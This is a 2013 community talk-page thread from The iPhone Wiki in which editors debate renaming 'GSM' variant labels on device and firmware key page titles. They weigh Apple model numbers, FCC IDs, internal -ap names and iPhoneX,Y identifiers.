I know that this topic was [[The iPhone Wiki:Community portal/2013#iPhone 5|already discussed earlier this year]], but it didn't seem to come to a consensus, and the introduction of the [[iPhone 5c]] and [[iPhone 5s]] brought a lot of model numbers. Some of them may "overlap" (think models A1429 and A1442 for the [[iPhone 5]]), but there's simply too many to give names to. There are at least two that can connect to CDMA networks, and all of them can connect to GSM. In addition, with the sheer amount of models, it doesn't seem likely for one model to be treated as a "global" model. Therefore, I changed the iPhone 5c to use model numbers. I would like to do the same to some of the devices that are already present on the wiki though— the same ones from when I first brought up this idea. The GSM/CDMA names work very well for the [[iPad 2]] and [[iPhone 4]]. Things are slightly murkier for the [[iPad 3|iPad (3rd gen.)]], [[iPad 4|iPad (4th gen.)]], [[iPad mini 1G]], and [[iPhone 5]] though; all of those devices' cellular models can connect to GSM networks, so it seems like nonsense to call some of them the "GSM model." The A1XXX model numbers are also how Apple tells the difference between the different models of these devices. Have any opinions changed? Or perhaps someone new might have something to say about this? --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 06:06, 13 September 2013 (UTC)

:I actually like the idea as it does get complicated now with the new devices coming like said and we would have to do this for all devices. Although, if we did this, we would have to move all the key pages that have keys on to support this. That would not be a big problem as we could limit the moves to say 20 per day. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:47, 13 September 2013 (UTC)

:I suggest we wait a bit until we see what models of the [[iPhone 5c]] and [[iPhone 5s]] will exist. But in general, I like the idea of using only the A1nnn numbers. The only issue I see right now is that Apple differentiates between A1532 GSM and A1532 CDMA. If there are real hardware differences between these two, then we're screwed again. That's why I suggest to wait until we know these exact model types. On the disambiguation page I added the GSM/CDMA model differentiation already (as Apple does). If they turn out to be the same, we can remove it again, but I wonder why Apple lists two models (with different bands supported) there now. Someone also added the "CDMA" mark to one of the others, but that's not how Apple marks them, so I suggest to remove that mark there again. If everything can be differentiated by these A-model-numbers, then yes, we should change the old pages too. Including all key pages. --[[User:Http|http]] ([[User talk:Http|talk]]) 14:44, 13 September 2013 (UTC)

::I do know there are 2 CDMA and 3-4 GSM for the [[iPhone 5c]] alone. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:04, 13 September 2013 (UTC)

:::Ahem… ''All'' of the iPhone 5c models can do GSM communications. Hence one of the reasons why I want to ditch the "GSM"/"Global"/etc. labels in favor of A1XXX model numbers. ;P --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 16:07, 13 September 2013 (UTC)

::::One thing is, what about iPod touch 5 as that has two model numbers that are the same device, same with iPhone5,2. How would we get around that? I suppose we could like both separated with a forward slash. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:19, 13 September 2013 (UTC)

:::::Yeah, we could just use something like "[[n42ap|iPhone 5 (Model A1429/A1442)]]." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 22:45, 13 September 2013 (UTC)

::::::Yeah I thought that but what about the iPhone 4 GSM and GSM Rev A? They both seem to be A1432. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:10, 13 September 2013 (UTC)

:::::::This is why I'm against using the A1XXX model numbers instead of the current GSM/Global thing. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::::::::I had no plans to change the way we refer to the iPhone 4 or iPad 2 (Apple does use GSM/CDMA, and for those devices it works fine). If a new iPhone 5S revision comes along, Apple will probably refer to it as a "Rev A" thing, and so will we. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:Referencing Adam's reply above, if we had took that to the key pages, it'd be <code>[<nowiki/>[{BuildTrain} {Build} (A1432)]]</code> which would mess ''everything'' up. What could we do? Use <code>[<nowiki/>[{BuildTrain} {Build} (A1432 Rev A)]]</code>? No. That doesn't look good. The current way of referring to everything by their supported network type (GSM/CDMA/Global) helps in going to a different page.
:Let's say I'm on [[BrightonMaps 10B329 (iPhone 4 GSM)]] and I want to go the CDMA device. What do I do? Go to the URL and replace <code>GSM</code> with <code>CDMA</code>. With the model numbers, I'd have to navigate to [[Firmware]], then find the link, or find out what the model number of the CDMA variant is and replace the model number in the URL with that. 
:Ok, who navigates by the URL and search bar? ''I do''. And I'm sure there's '''many''' people out there that prefer to navigate with the search bar if they know the page name. If we go by model number, the AJAX search results just list pages with a model number in parenthesis. '''How does that help'''? I'd either have to ''know'' the model number of the device I want, or visit ''each one'' until I find the page I need.
:Sorry for the rant, but I am '''strongly''' against this. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 23:25, 13 September 2013 (UTC)

::I do suppose we could just trash the buildtrain all together to shorten it down too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:32, 13 September 2013 (UTC)

:::Dropping the Build Train would only ''increase'' the workload. Besides, what's the harm with it? We've been using the same page title structure since forever, and it's worked. "''If it ain't broke, don't fix it''". The current system works, so ''why'', other than the fact that Apple refers to them differently, should we change this? In addition, we don't refer to everything the way Apple does. The [[iPad mini 1G]] is referred to as the "iPad mini". The [[iPad 3]] is refered to as "The New iPad". The [[iPad 4]] is refered to as "iPad with Retina Display"[http://www.apple.com/ipad/compare/]. Are the key pages titled <code>BrightonMaps 10B329 (The New iPad, Wi-Fi+3G for AT&T and Verizon)</code>? No. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 00:37, 14 September 2013 (UTC)

::::But the reason we want to not use the variants is because the new devices that are coming out are breaking he structure and also CDMA versions can use GSM in the 5c plus we have like 4 for GSM alone. I only meant drop buildtrain to shorten the urls down. For the iPhone 4 GSM Rev A we would have to list it as <code>iPhone 4 A1432 Rev</code> unless another idea is thought of. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:55, 14 September 2013 (UTC)

:::::No. Anything involving moving key pages to change their title I am ''completely'' against. As for the iPhone 5s and iPhone 5c, we ultimately have to wait. There may be different types, but if they all work with the same firmware, then what do we do then? Use <code>A1456/A1504</code>? I don't want to do that. It can get confusing in the future if that list were to be huge. With ''5'' different models for the iPhone 5c ''alone'', it's just not practical. For the fact that all support GSM, but not all support CDMA, we just do what we've ''been'' doing: "GSM" and "Global". --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 01:22, 14 September 2013 (UTC)

::::::There's nothing wrong with changing the titles of pages that don't even exist though. If *all* of the models use the same firmware, just go with "iPhone 5s." If they happen to be partitioned into two different firmwares again, that will certainly complicate things, but it wouldn't be worse than nonsense like "GSM," "GSM [<nowiki />Global]," "CDMA," "CDMA [<nowiki />Global]," or "GSM [<nowiki />Global Plus TD-LTE]." If it's just one oddball, we could just have "iPhone 5s" and "iPhone 5s A1XXX" (whatever the odd one is), and include a link on the former page to say "keys for model A1XXX are on this page." --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::::I probably didn't phrase that well… I wasn't thinking of how Apple markets the product, but rather more along the lines of how they refer to it in, say, the tech specs page or support documents— the pages that shows the messier side to their simple sugar coating. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

::You keep misinterpreting/misrepresenting what I'm proposing. I never said anything about dropping, say, "iPhone 5" so firmware page titles would look like [[Sundance 10A405 (A1428)]]. I want to change the GSM/Global part to the A1XXX number, so it would probably show like [[Sundance 10A405 (iPhone 5 A1428)]]. (If a hardware revision were made, it would probably look like [[Sundance 10A405 (iPhone 5 A1428 Rev A)]].) From time to time, I edit URLs to browse the wiki too. But the GSM/Global identifiers don't work that well; again, '''all iPhone 5 models can connect to GSM'''. That's not really helpful. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 02:50, 14 September 2013 (UTC)

:::I suggest we drop the A and use Rev. As for the idea of changing to A1XXX, I see no issues and am for the idea. I admit it can cause chaos when we move the pages but we could limit the moving per day of course. Overall, I think it will be worth it. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 10:01, 14 September 2013 (UTC)

::::No. Don't drop the <code>A</code> from <code>Rev A</code>. Why would you even think to? You want to call them what Apple calls them, and the [[n90bap|revised iPhone 4 GSM]] is referred to with <code>Rev A</code>. In addition, there have been <code>Rev ''B''</code> things before, such as the [[S5L8947]] (A5 Rev B) used in the [[j33iap|revised Apple TV 3G]]. In addition, think of all the redirects we would need to keep for sites that link to key pages directly. I have even seen sites that still link with the URLs as <code>/wiki/index.php?title={Title}</code> instead of the year old change to <code>/wiki/{Title}</code>. The wiki handles that internally for us, but the redirects made in the moves would have to be kept. Currently, only the [[iPhone 5]] and [[iPad 4]] are the only devices referred to by their model numbers. --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

:::That's why I don't want to change it. It's worked for us, and we have no idea how the new firmwares will be handled. I am betting that there will only be two firmware types - one for the GSM, and one for the Global (GSM+CDMA) model. The only reason they are split, IIRC, is because AT&T uses different LTE bands than rest of the GSM world.
:::Ultimately, the GSM/CDMA/Global monikors haven't caused any ''naming conflicts''. Ok, you don't want to use the ''marketing'' title. What about the way they are referred to on [[Apple Developer Center|ADC]], because that seems to be what you want. I may be misreading what you're saying again, but if we're going to do that, let's use their ''full'' title. Something <code>(iPad [4th generation Model A1458])</code> (iPad 4 Wi-Fi) and <code>(iPad Wi-Fi + Cellular [model for Verizon])</code> (iPad 3 Global). Does the first one tell you if the device is Wi-Fi or a Wi-Fi+3G model? Does the second one tell you ''at all'' that it is an [[iPad 3]], or that it supports GSM? No.
:::Apple has a history of being inconsistent. For example, the iPad 3 Wi-Fi is referred to on ADC (and iTunes) as "iPad Wi-Fi (3rd generation)" while the iPad 3 GSM is referred to as "iPad Wi-Fi + Cellular [model for AT&T]". What happened to the "3rd generation"? --[[User:5urd|5urd]] ([[User talk:5urd|talk]]) 20:53, 14 September 2013 (UTC)

::::We could always list as <code>iPhone 4 (iPhone3,1)</code> etc instead if that would be better. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:13, 14 September 2013 (UTC)

::::Why is there a need to explicitly keep "Wi-Fi" in a key page's title? All you need is a way to distinguish what model it is from its other variants— the A1XXX model number does just that. It's not like we referred to the AppleTV3,2 as "Apple TV 3G (New Single-Core A5)" or something. And obviously, we can use common sense to address the 3rd generation iPad issue you brought up… Now you're just nitpicking. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 05:28, 15 September 2013 (UTC)
:::::Actually, I think we should wait until we see the firmware for iPhone 5c/5s and then decide. TBH, as [[User:5urd|5urd]] said, it is ok as it is but of course if once the new firmware is out it is more confusing, then we can think again. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 14:12, 15 September 2013 (UTC)

:::::Come to think of it, we can use a mix of both; we can keep the "Global" moniker, but drop the "GSM" moniker in favor of the A1XXX model number. (The "GSM" moniker is the one that's been bothering me.) I think this works well for the iPad 3 (which is actually split into "CDMA" and "Global—" it probably doesn't need to be done for this), iPad 4, iPad mini 1G, and iPhone 5, but this leaves the question of what to do for the iPhone 5C/5S. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:04, 19 September 2013 (UTC)

::::::That would look worse! If we are going to do it, we have to do it for '''''all'''''. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:40, 19 September 2013 (UTC)

:::::::What is the status on this now? --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 21:18, 9 November 2013 (UTC)

:::::This discussion has stagnated, but I'm firing it up again— I want to fix this before the end of the year, so this can probably be seen as an ultimatum. Now that Apple has pushed a 7.1 beta to developers, we now know how Apple's splitting the new iPhones up— and it's by A1XXX model numbers still. :\ That's probably the path the wiki will go down, but I do have another idea. The other idea I have in mind is using the A1XXX model number for the cellular devices launched last year. But for this year's iPhones, the FCC ID is actually different between the two, so we could actually use that. Before this gets nitpicked on, the last letter can get changed to an "X" to signify that it's a wildcard of sorts. It's not a pretty solution so I do expect it to get shot down (hence why I'm going with the A1XXX model numbers unless everyone says otherwise), but I'm still throwing it out there in case everyone actually likes that. Everyone is welcome to suggest alternatives, but I '''will''' eliminate that GSM label before the year ends. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 18:31, 18 November 2013 (UTC)

::::::That is worse, nobody knows the FCC ID off the top of their head. I would suggest "iPhone 5 (iPhone5,1)" if anything. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:37, 18 November 2013 (UTC)

:::::::Using "iPhone5,1" or "iPhone6,2" is even ''less'' friendly… The FCC ID can be looked up in Settings or the back of a device. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:06, 18 November 2013 (UTC)

::::::::Well that is not the point. I say either use the firmware name or leave it alone. See what others thing though. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:13, 18 November 2013 (UTC)

:::::::::I currently plan on using the A1XXX model numbers— the FCC ID proposal was just thrown out there in the off chance that someone might like it. I'm not really a fan of it myself, but the FCC ID is probably the simplest way to figure out if it's an iPhone6,1 or iPhone6,2 since both have multiple A1XXX model numbers. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:19, 18 November 2013 (UTC)

::::::I agree to get rid of the "GSM" name, as almost all iPhones support GSM. The Axxxx numbers would be nice, but as some phones have several numbers, like A1457/A1518/A1528/A1530 (what is actually different between them?) we can't use it. For the FCC-ID, we can't use that either, because for example the iPhone 5 with FCC-ID BCG-E2599A stands for the GSM/A1428 and also for the GSM+CDMA/A1429 version. So I suggest to either use the identifier (like iPhone2,1) or better the internal name (like n88ap). That would have the advantage to separate them further, because the iPhone 4 A1332 has two internal versions: iPhone3,1/n90ap and the iPhone3,2/n90bap. The bigger question is where you want to use this. That determines mainly the name. On all the key pages? Then it must be a name that is different between models that use different firmwares. And regarding key pages, maybe we should delete all the key pages from this wiki and move them into some database instead and provide a nice user interface and API around it and integrate that into the wiki somehow. That way we can change all pages with one simple edit. For the name, I prefer the internal name. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:43, 18 November 2013 (UTC)

:::::::We would have to edit key pages too. They should not be removed however. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 23:46, 18 November 2013 (UTC)

:::::::Well, I wasn't trying to say that we had to decide on one way to differentiate ''everything''; "GSM" does work fine for, say, the iPhone 4. The proposal I brought up today was using the FCC ID only for this year's (2013's) iPhones— last year's cellular devices would get the A1XXX model numbers (i.e. two different solutions for two different years). But as of right now, I like how using A1XXX model numbers sounds for all of the affected devices, mostly because that's the path Apple's going in their developer portal. Something like "iPhone 5s (Model A1457/A1518/A1528/A1530)" is admittedly a mouthful for this year's iPhones though. At the moment, I'm inquiring about how to label it on [[Firmware]] and such pages, but I'm sure the outcome can be adapted for key page titles as well. As for differences between the models, it seems to be the supported LTE bands. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:49, 19 November 2013 (UTC)

:::::::::I still think that unless it is "iPhone 5 (iPhone5,1)" it will be complicated but on the other hand, I kind of like the idea that [[User:Http|http]] had, using the internal identifiers like this "iPhone 5 (n42ap)". The only problem is that it would cause quite a bit of a flood moving the key pages, although this can be done like 15 per day each or something. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:20, 19 November 2013 (UTC)

::::::::::I'm pretty sure the only key page that exists for an A5 (or newer) device is [[Telluride 9A406 (iPhone 4S)]]. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 17:40, 21 November 2013 (UTC)

:::::::::::That was an example. I know there are no more A5 pages, only the one you said and two beta for iPhone 4S. I just meant that it would show the design. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 13:36, November 21, 2013 (UTC)

== "GSM" Replacement Proposals ==
Since this discussion has become extremely lengthy, here are the proposals (to my understanding) for changing the labels, each of which can be subject to changes (i.e. dropping the word "Model" from Proposal A). In an effort to conserve space (ironically, this still adds a significant amount of length), I only included a few models, which should give an idea of the proposal. Basically anything with an A5 or newer is involved. Feel free to edit this list if I missed or totally misinterpreted something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 03:25, 22 November 2013 (UTC)
# Proposal A (A1XXX numbers)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (Model A1456/A1532)
#* iPhone 5c (Model A1507/A1516/A1526/A1529)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c Model A1507/A1516/A1526/A1529)]]
# Proposal B (A1XXX + FCC ID)
#* iPad 4 (Model A1458)
#* iPad 4 (Model A1459)
#* iPad 4 (Model A1460)
#* iPhone 5 (Model A1428)
#* iPhone 5 (Model A1429/A1442)
#* iPhone 5c (BCG‑E2644A)
#* iPhone 5c (BCG‑E2694X)
#* [[InnsbruckTaos 11B554a (iPad 4 A1458)]]
#* [[InnsbruckTaos 11B554a (iPhone 5 A1429/A1442)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c BCG‑E2694X)]]
# Proposal C (-AP Identifier)
#* iPad 4 (p101ap)
#* iPad 4 (p102ap)
#* iPad 4 (p103ap)
#* iPhone 5 (n41ap)
#* iPhone 5 (n42ap)
#* iPhone 5c (n48ap)
#* iPhone 5c (n49ap)
#* [[InnsbruckTaos 11B554a (iPad 4 p101ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n42ap)]]
#* [[InnsbruckTaos 11B554a (iPhone 5c n49ap)]]
# Proposal D (iPhoneX,Y Identifier)
#* iPad 4 (iPad3,4)
#* iPad 4 (iPad3,5)
#* iPad 4 (iPad3,6)
#* iPhone 5 (iPhone5,1)
#* iPhone 5 (iPhone5,2)
#* iPhone 5c (iPhone5,3)
#* iPhone 5c (iPhone5,4)
#* [[InnsbruckTaos 11B554a (iPad3,4)]]
#* [[InnsbruckTaos 11B554a (iPhone5,2)]]
#* [[InnsbruckTaos 11B554a (iPhone5,4)]]

:I like this [[InnsbruckTaos 11B554a iPad 4 (3,4)]] or [[InnsbruckTaos 11B554a iPad 4 (iPad3,4)]]. I see there are 4 ways to approach this;
1. Change every single device. 
2. Change just devices with different variants, iPad 2+, iPad mini+, iPhone 4, iPhone 5+. 
3. Change A5+ only (which I hate the idea of). 
4. Change nothing at all. 
--[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 09:28, 22 November 2013 (UTC)
::My intention for this was to be a ''neutral'' (i.e. opinion-free) spot where all of the proposals were being mentioned, so people could easily see the proposed changes without any bias… v.v --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 20:54, 22 November 2013 (UTC)
:::TBH, I think it is better as it is, but I just stated my opinion that only A5+ would make in inconsistent. Though you could argue it is already, that is down to Apple and furthermore, just A5+ would still not eliminate iPhone 4 (GSM, GSM Rev A or CDMA). --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 17:07, November 22, 2013‎ (UTC)}}
:Do it like #4, and do them all. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 18:40, 23 November 2013 (UTC)
::::It will be a pain, but I like [[User:CompilingEntropy|CompilingEntropy]]'s idea as it would make it much much better in the end. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 16:25, 25 November 2013 (UTC)
:I would say A and B are impossible due to various numbers in the same model. I like C best. For variant C you could also leave away the "ap" at the end, because every model has that, so it would be even shorter. For D, that's simply longer names and these names are not used at many places, but I could live with that version as well. --[[User:Http|http]] ([[User talk:Http|talk]]) 23:30, 1 December 2013 (UTC)
Taking into account everyone's thoughts on this, I think we'll probably go with option C. The wiki already uses the "-ap" identifiers for the model pages, and an identifier like "iPad3,4" may confuse someone into thinking it's a model of the [[iPad 3]]. (I would still like to use the A1XXX numbers since Apple does that, but nobody else seems to agree now…) I'll give this a few more days for any last words before acting on it. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 04:03, 26 December 2013 (UTC)
::It '''will''' get changed before the year ends. I don't know why your opinion keeps changing, but I have already explained the reason for changing it. You even agreed that it needs to be changed. I'm still open to suggestions on what to change it to though. Keep in mind that the change will affect not only key pages, but also how the devices will be referred to throughout the wiki. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 19:34, 26 December 2013 (UTC)
:::I know it will. I said it is fine to change. I like bot #3 and #4. Only point I must make is that I feel we should change all devices with multiple variants, including iPad Air and iPhone 4. This way, it is consistent and also removes GSM etc altogether. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 19:48, 26 December 2013 (UTC)
::I agree with Adam, if you're going to change some of them then change all of them. This includes iPods. Whatever the outcome, be consistent. As for the outcome itself, I really think we should just use device identifiers (iPhone2,1). That's what we're actually differentiating by, so it only makes sense to refer to devices by them. I don't think there would be any confusion, especially considering we'll keep the name of the device next to it regardless. Barring that, the next best option is ***ap. The other options don't make any sense considering modern devices. --[[User:CompilingEntropy|CompilingEntropy]] ([[User talk:CompilingEntropy|talk]]) 10:54, 30 December 2013 (UTC)
:::I like [[User:CompilingEntropy|CompilingEntropy]]'s idea, though I do not mind if we do every device or just ones with multiple variants, as long as that included pre A5 (iPhone 4) too. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 18:34, 30 December 2013 (UTC)

== "GSM" Replacement Proposals (cont.) ==
So this entire discussion came up because we need to remove "GSM" from models, because there are many models nowadays where the non-GSM model or Global or whatever model, all support GSM. One suggestion was the FCC number, but I think we already agreed that this is out of discussion (only used within USA and nobody refers to this number). So we have to use either
*The Axxxx number (like A1332 for the iPhone 4). This is how Apple identifies their devices.
*The ap number (like n94ap or just short N94). This is the internal name and used in internal references, like in the [[iBEC]] or [[iBSS]] filenames within an [[IPSW]]. (This is also what iH8sn0w has on his stickers on the devices.)
*The 1,2 number (like iPad1,1 for the iPad 1G). This identifier is used in the [[IPSW]] filenames.
There are several issues with using one over the other:
*Some devices (iPad 1G, iPhone 3G, iPhone 3GS, iPhone 4S, iPhone 5, iPhone 5c, iPhone 5s to be exact) have multiple Axxxx numbers for the same ap number/1,2 number. For example the iPad 1G: A1219 (WiFi model) and A1337 (GSM model) both have k48ap / iPad1,1. So only the Axxxx number could be used to replace the "GSM" identifier.
*The iPhone 4 has for A1332 two ap numbers/1,2 numbers: A1332 stands for both n90ap/iPhone3,1 and also for n90bap/iPhone3,2.
*The iPod touch 5G has the same 1,2 number for two ap numbers/Axxxx numbers: iPod5,1 stands for both A1421/n78ap and also for A1509/n78aap.
I understand the point from [[User:IAdam1n|iAdam1n]] somehow that we should make it consistent and change it everywhere in the same manner. The question is where to change what. So where do we use these terms?
*The biggest affected change would be the key pages, so any change there should be carefully considered. Currently we use something like: "InnsbruckTaos 11B554a (iPhone 5c Global)". So the discussion here is just about the change in the brackets. For the devices where no different hardware versions exist, I think the current naming is ok. So let's just continue using that. Only where different (sub-)devices exist for the same main model (like for the iPhone 5c) and they require a different firmware file, then we need to specify it. So we need to add something after the "iPhone 5c" to specify the difference. For older devices, we should leave it as it is, because it works very well there. For example the iPad 1G WiFi and GSM require different firmware, but can be differentiated that way. And we can't use the ap number, because both versions use k48ap, respectively iPad1,1. So I think we should leave the old devices as they are. For newer devices, like the iPhone 5c, there are only two variations for the firmware, but six different Axxxx numbers and we don't want to list all of them in the firmware name. We also cannot use "GSM" for the reason mentioned at the introduction. I would prefer to use the ap number there, but that yields to problems. In case of the iPod touch 5G, we have two models (A1421/n78ap and also A1509/n78aap). Fortunately both use the same firmware, so we don't have to specify anything. But if Apple would release an additional model that would require a different firmware, we would have to specify the name even here and we can't add a name like "n78ap+n78aap". The name iPod5,1 there seems to be the obvious choice, as it is contained in the ipsw name already, so it is unlikely that Apple will change that. The only question is the format then. My choice would be to keep it short, something like "InnsbruckTaos 11B554a (iPhone 5c [5,4])" instead of the current "InnsbruckTaos 11B554a (iPhone 5c Global)". We shouldn't repeat the word "iPhone" there. And we shouldn't remove the "5c" of the original name.
*We also have some hardware lists, for example on the key pages titles where we list under iPad 2: Wi-Fi, GSM, CDMA, Wi-Fi (A). They link directly to our ap-pages, for example the "Wi-Fi (A)" name links to "k93aap". I think we don't need to change this. For the iPhone 5c, we have GSM and Global and they also link to the ap-pages. The link remains there, so we would only change the name. I suggest to use the same short name as in the key page extension, so something like my suggested "[5,4]" for example (instead of "GSM").
*On the [[Models]] page, we have the column "Variant", which also lists "GSM" and "Global" etc. That would also need to change. I suggest to leave it for older devices where "GSM" is a valid differentiation. For newer devices we might list the bands it supports or something else.
*On hardware pages, like [[iPhone]], we also have names and links in the title bar. For devices that have different sub-devices (like the iPhone 4 and iPhone 5/5c/5s) I suggest to rename the title names to the ap-names, as they link to the respective page. I would not change the title "iPhone 3G" to "N82ap" although it links there. So this change would only apply to sub-titles.
--[[User:Http|http]] ([[User talk:Http|talk]]) 00:26, 31 December 2013 (UTC)
:Include iPhone 4 in the change and use same format everywhere on the wiki. I agree that we do not need to change devices with only one variant such as iPhone 3GS. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:59, 31 December 2013 (UTC)
:: I agree on that. 3GS, 3G and the 1st iPhone are anyway devices where I do not see too many wiki-related changes in the future.--[[User:M2m|M2m]] ([[User talk:M2m|talk]]) 09:57, 31 December 2013 (UTC)
:I don't like how the abbreviated form of "iPad3,4" looks— I understand wanting to keep "iPad 4" in the name, but I can't come up with alternatives besides going with only the identifier. (Another issue is that MediaWiki's markup parser doesn't seem to like square brackets in links— I tried using <code><nowiki><nowiki /></nowiki></code>.) Having thought it over for a few days, I'm more receptive to changing all multi-variant devices (i.e. including the iPhone 4), but my concern about the Recent changes getting flooded with page moves still exists. The page moves should be done on "quiet" days, when the wiki doesn't see much activity. That being said, this is my understanding of the proposed changes. Does everyone agree with the following?
:* On pages like [[iPhone]], the variant labels will be replaced with the identifier, e.g. iPhone3,1/iPhone3,2/iPhone3,3. (An exception will probably need to be made for the iPad1,1. The "Internal Name" row should also be modified because there will be duplicated information.)
:* On [[Models]], the variant labels will be replaced with something else for the iPhone 5 and newer. (I feel like there are too many LTE bands to list in such a spot, but I don't have any better ideas.)
:* On pages such as [[Firmware]] and [[Jailbreak]], labels will be changed to things like "iPhone 4 (iPhone3,1)" and "iPad 4 (iPad3,4)." Single-variant devices like the Apple TV 2G will remain as-is.
:* The key pages will be moved to a different title, to resemble the following.
:** <del>[[InnsbruckTaos 11B554a (AppleTV3,1)]]</del> [[InnsbruckTaos 11B554a (Apple TV AppleTV3,1)]]
:** <del>[[InnsbruckTaos 11B554a (iPad2,4)]]</del> [[InnsbruckTaos 11B554a (iPad 2 iPad2,4)]]
:** <del>[[InnsbruckTaos 11B554a (iPhone3,1)]]</del> [[InnsbruckTaos 11B554a (iPhone 4 iPhone3,1)]]
:** [[InnsbruckTaos 11B554a (iPod touch 5G)]]
:Do let me know if I missed something. --[[User:Dialexio|Dialexio]] ([[User talk:Dialexio|talk]]) 23:57, 31 December 2013 (UTC)
::I agree with your idea [[User:Dialexio|Dialexio]], but make every page use iPhone 4 (iPhone3,1) etc. Of course if pages use iPhone 4 (GSM) now, change that to iPhone 4 (iPhone3,1) or iPhone 4 (3,1). I would suggest moving 10 pages per day for the iPhone 4 to avoid flooding. I do not want some pages to include the AP identifier and some others iPhone3,1 for example. --[[User:IAdam1n|iAdam1n]] ([[User talk:IAdam1n|talk]]) 00:08, 1 January 2014 (UTC)
:::Several comments:
*The square brackets were just an idea, nothing agreed on that yet. And yes, let's forget this idea if it has problems with MediaWiki.
*The beginning of the name should remain, otherwise we're getting inconsistent with other pages. I agree with [[User:IAdam1n|iAdam1n]] on this. To keep it short, my favorite would be something like "iPhone 4 (3,1)" then. But to make it more clear, "iPhone4 (iPhone3,1)" is also ok to me. If you wanted to leave the first part away and just use "iPhone3,1", then we would have to rename ALL pages (that's also an option).
*Regarding flooding, I prefer that we do all changes at once, at an agreed date/time, done by [[User:Dialexio|Dialexio]]. Maybe in two steps: first step to change the few hardware pages plus one page of each device of the key pages. In the second step the rest. This would ensure that any misunderstandings get catched in the first step, before all pages are renamed. I don't like to have 20 edits per day that I have to go through. Better all at once, but only after agreement of all.
*Yes, we can do iPhone 4 too, if that't the only missing one. It was a misunderstanding on my part for iPad GSM/WiFi, as this doesn't have different firmwares (only on hardware pages needed).
*Regarding the proposed listing of the bands on the [[Models]] page, Variant column, we could only list the bands that are different to make it short.

Can we list here what pages would be affected by the changes? Feel free to edit this list here within my comment. Here's what I have in mind:
*[[Models]]
*[[Apple TV]], [[iPad]], [[iPad mini]], [[iPhone]], [[iPod touch]]
*[[Firmware Keys]]
*[[Firmware]], [[Beta Firmware]]
*[[Jailbreak]]
*[[Application Processor]]
*[[Main Page]] - for Application Processors and Baseband Devices.
*[[:Category:Baseband]] - some pages state models and also the baseband devices, such as [[MDM6600]].
*key pages: iPhone 4 GSM (like [[Telluride 9A334 (iPhone 4 GSM)]]), total 69 existing pages
*key pages: iPhone 4 GSM (A) (like [[InnsbruckVailPrime 11A4372q (iPhone 4 GSM Rev A)]]), total 21 existing pages
*key pages: iPhone 4 CDMA (like [[BrightonMaps 10B329 (iPhone 4 CDMA)]]), total 50 existing pages
*key pages: iPhone 5 GSM (nonexistent)
*key pages: iPhone 5 Global (nonexistent)
*key pages: iPhone 5c and 5s (nonexistent)
